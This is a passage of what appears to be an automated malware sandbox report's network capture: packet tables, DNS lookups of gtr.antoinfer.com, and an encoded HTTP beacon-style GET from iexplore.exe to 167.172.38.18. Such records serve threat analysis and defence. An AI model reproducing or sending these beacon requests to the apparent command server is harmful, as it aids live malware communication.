Jul 12, 2021 11:50:39.739902020 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.739917994 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.739922047 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.739957094 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740031958 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740072012 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740075111 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740108967 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740114927 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740155935 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740181923 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740226030 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740226030 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740266085 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740267038 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740304947 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740308046 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740344048 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740345001 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740381002 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740431070 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740472078 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740472078 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740508080 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740509987 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740544081 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740612984 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740653038 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740673065 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740690947 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740690947 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740731001 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740794897 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740823030 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740839005 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740855932 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740879059 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740888119 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740902901 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.740914106 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740961075 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.740966082 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741491079 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741520882 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741544008 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741566896 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741581917 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741591930 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741617918 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741633892 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741641998 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741664886 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741667032 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741692066 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741692066 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741715908 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741717100 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741739035 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741741896 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741761923 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741766930 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741791010 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741808891 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741816044 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741837025 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741842031 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741866112 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741869926 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741890907 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741908073 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741914034 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741939068 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741940022 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741966009 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.741978884 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.741991043 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742006063 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742017984 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742027998 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742043972 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742052078 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742068052 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742075920 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742094040 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742106915 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742122889 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742122889 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742146969 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742147923 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742171049 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742177010 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742201090 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742201090 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742227077 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742229939 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742254972 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742255926 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742280006 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.742280960 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742316008 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.742337942 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.753602028 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.753751993 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.763537884 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.763607979 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.763629913 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.763647079 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.763693094 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.763704062 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.763717890 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.763777018 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.764345884 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764389038 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764419079 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.764422894 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764472008 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.764518976 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764555931 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764561892 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.764619112 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.764723063 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764739990 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764771938 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.764791965 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.764820099 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.764882088 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766486883 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766510010 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766521931 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766539097 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766555071 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766571999 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766587973 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766599894 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766608953 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766629934 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766633034 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766657114 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766680002 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766691923 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766710997 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766716003 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766736031 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766737938 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766762972 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766771078 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766786098 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.766793013 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.766824007 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788352013 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788520098 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788558960 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788600922 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788619041 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788630009 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788664103 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788688898 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788698912 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788712978 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788732052 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788742065 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788760900 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788768053 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788786888 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788791895 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788810015 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788814068 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788832903 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788836956 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788853884 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788872957 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788876057 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788880110 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788897991 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788918972 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788921118 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788943052 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788945913 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788970947 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.788984060 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.788992882 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.789014101 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.789016008 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.789037943 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.789047956 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.789056063 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.789072990 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.789094925 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.789105892 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.789117098 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.789135933 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.789165020 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.845675945 CEST	49749	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:39.869468927 CEST	80	49749	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:39.940165043 CEST	49748	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:40.012758017 CEST	80	49748	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:40.044677973 CEST	80	49748	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:40.046310902 CEST	49748	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:40.047411919 CEST	49748	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:40.079009056 CEST	80	49748	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:43.045669079 CEST	49751	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:43.046768904 CEST	49752	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:43.075151920 CEST	80	49751	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:43.075179100 CEST	80	49752	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:43.075267076 CEST	49751	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:43.075301886 CEST	49752	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:43.079236031 CEST	49751	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:43.144665956 CEST	80	49751	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:43.569724083 CEST	80	49751	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:43.569760084 CEST	80	49751	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:43.569911957 CEST	49751	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:43.583539963 CEST	49751	80	192.168.2.3	167.172.38.18
Jul 12, 2021 11:50:43.607239962 CEST	80	49751	167.172.38.18	192.168.2.3
Jul 12, 2021 11:50:44.909491062 CEST	49752	80	192.168.2.3	167.172.38.18

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 12, 2021 11:47:48.829904079 CEST	55984	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:47:48.844218969 CEST	53	55984	8.8.8.8	192.168.2.3
Jul 12, 2021 11:47:49.575894117 CEST	64185	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:47:49.588805914 CEST	53	64185	8.8.8.8	192.168.2.3
Jul 12, 2021 11:47:50.444897890 CEST	65110	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:47:50.457698107 CEST	53	65110	8.8.8.8	192.168.2.3
Jul 12, 2021 11:47:51.135425091 CEST	58361	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:47:51.152451992 CEST	53	58361	8.8.8.8	192.168.2.3
Jul 12, 2021 11:47:51.887213945 CEST	63492	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:47:51.900805950 CEST	53	63492	8.8.8.8	192.168.2.3
Jul 12, 2021 11:47:52.528899908 CEST	60831	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:47:52.541383982 CEST	53	60831	8.8.8.8	192.168.2.3
Jul 12, 2021 11:47:53.275243044 CEST	60100	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:47:53.288150072 CEST	53	60100	8.8.8.8	192.168.2.3
Jul 12, 2021 11:48:38.125777006 CEST	53195	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:48:38.145030975 CEST	53	53195	8.8.8.8	192.168.2.3
Jul 12, 2021 11:48:45.875979900 CEST	50141	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:48:45.891005993 CEST	53	50141	8.8.8.8	192.168.2.3
Jul 12, 2021 11:48:52.109967947 CEST	53023	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:48:52.128384113 CEST	53	53023	8.8.8.8	192.168.2.3
Jul 12, 2021 11:48:54.440200090 CEST	49563	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:48:54.458015919 CEST	53	49563	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:19.256170988 CEST	51352	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:19.268765926 CEST	53	51352	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:26.257447958 CEST	59349	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:26.271101952 CEST	53	59349	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:29.353316069 CEST	57084	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:29.366463900 CEST	53	57084	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:30.377758980 CEST	58823	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:30.390820026 CEST	53	58823	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:30.997473955 CEST	57568	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:31.010245085 CEST	53	57568	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:31.416373014 CEST	50540	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:31.428563118 CEST	53	50540	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:31.460014105 CEST	54366	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:31.473962069 CEST	53	54366	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:32.384170055 CEST	53034	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:32.397990942 CEST	53	53034	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:34.079473019 CEST	57762	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:34.092161894 CEST	53	57762	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:34.878506899 CEST	55435	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:34.891482115 CEST	53	55435	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:37.684792995 CEST	50713	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:37.697760105 CEST	53	50713	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:38.663822889 CEST	56132	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:38.677670956 CEST	53	56132	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:42.375137091 CEST	58987	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:42.388612986 CEST	53	58987	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:51.788614035 CEST	56579	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:51.817504883 CEST	53	56579	8.8.8.8	192.168.2.3
Jul 12, 2021 11:49:58.254440069 CEST	60633	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:49:58.272859097 CEST	53	60633	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:28.086664915 CEST	61292	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:28.112658024 CEST	53	61292	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:33.525783062 CEST	63619	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:33.543514967 CEST	53	63619	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:35.319444895 CEST	64938	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:35.333022118 CEST	53	64938	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:38.794644117 CEST	61946	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:39.075265884 CEST	53	61946	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:41.373944998 CEST	64910	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:41.408246040 CEST	53	64910	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:43.011351109 CEST	52123	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:43.024909019 CEST	53	52123	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:44.331665993 CEST	56130	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:44.350481033 CEST	53	56130	8.8.8.8	192.168.2.3
Jul 12, 2021 11:50:50.882749081 CEST	56338	53	192.168.2.3	8.8.8.8
Jul 12, 2021 11:50:50.920412064 CEST	53	56338	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 12, 2021 11:50:35.319444895 CEST	192.168.2.3	8.8.8.8	0xad0f	Standard query (0)	gtr.antoinfer.com	A (IP address)	IN (0x0001)
Jul 12, 2021 11:50:38.794644117 CEST	192.168.2.3	8.8.8.8	0x357d	Standard query (0)	gtr.antoinfer.com	A (IP address)	IN (0x0001)
Jul 12, 2021 11:50:43.011351109 CEST	192.168.2.3	8.8.8.8	0x5e7e	Standard query (0)	gtr.antoinfer.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 12, 2021 11:49:31.010245085 CEST	8.8.8.8	192.168.2.3	0x78f	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Jul 12, 2021 11:50:35.333022118 CEST	8.8.8.8	192.168.2.3	0xad0f	No error (0)	gtr.antoinfer.com		167.172.38.18	A (IP address)	IN (0x0001)
Jul 12, 2021 11:50:39.075265884 CEST	8.8.8.8	192.168.2.3	0x357d	No error (0)	gtr.antoinfer.com		167.172.38.18	A (IP address)	IN (0x0001)
Jul 12, 2021 11:50:43.024909019 CEST	8.8.8.8	192.168.2.3	0x5e7e	No error (0)	gtr.antoinfer.com		167.172.38.18	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

gtr.antoinfer.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49747	167.172.38.18	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 12, 2021 11:50:35.378191948 CEST	5227	OUT	GET /4khtvsQ0u/_2Bibxls4V27IXxwFbLo/MVAeZiN_2BcOXrnrV8V/qJdJNxZ6Bgv5NEeycuU5RT/xP63sFYeQbF7V/py7Hi7cb/9YfAdWQtdGthxteTogc4W5n/e4pHdJmwQV/Xb_2ByBc4q7LehmCP/qbPYu2dVkV6R/HcylsChDiT2/MxSzZGJm_2F7kQ/SwyqdbxYkDgH_2FqkftiZ/sgfsFtj_2BtQQ2R6/R1qw5igRxvImwz6/pMeyM_2FrLNrloESyl/5_2BeunOI/9zlfRQun7lnhbsKL_2FH/F_2B8nMOma_2F2fjvu5/bI8nw1gkOTg_2F0CTqoQIr/cSQsg2LKmpe1I/kDimvPNH/SgPLk HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: gtr.antoinfer.com Connection: Keep-Alive
Jul 12, 2021 11:50:35.856986046 CEST	5228	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 12 Jul 2021 09:50:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Content-Encoding: gzip Data Raw: 32 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 9b c5 92 ac 40 10 45 3f 88 05 6e 4b 5c 07 b7 66 87 bb 3b 5f ff 78 ab 99 e8 98 80 aa 22 f3 e6 39 44 cf b5 ee cc 7b a0 78 33 e8 c3 82 9b c5 2f 23 b8 82 4d 6a 90 da 7c 08 62 4b db fc e5 41 32 90 41 cf 73 15 10 f9 af 2f 4a 58 82 ec 10 b4 10 65 96 42 e4 f2 a0 d0 55 60 31 3b ac 36 48 75 9d db 92 3d 9d e3 46 df 5c 13 86 1b 9a bd c3 b2 8d bf 2c 2b 79 77 f7 87 2a 68 cb b2 a8 7b 9c e6 e1 bb 61 f6 82 02 d0 00 cd 1f fe 97 17 34 02 51 13 13 d2 60 6d 0e 86 8d 6c 22 d0 de b1 3f ea e9 a4 33 0e cb 1f 0e 3a 92 fc b6 68 87 7a 91 b8 90 21 eb b9 5e c8 c3 d2 66 92 76 4b 3d bd 51 8a 52 97 3f 62 44 bc 97 0f ba 96 33 70 b3 7a 05 96 a6 09 78 e5 0b 3b 5d f5 67 67 53 c0 66 e5 32 ce 00 c0 c8 fa de 6b d9 f4 ae 2c fd 54 66 2b ff f1 89 ee db 3a 54 05 8a 9e 54 a4 5d d6 c8 45 d0 64 35 8c 63 0f bd dd 4d 42 a9 d3 0a 65 70 40 68 92 bd 7e 50 b6 3a 16 69 c2 2c fe cd 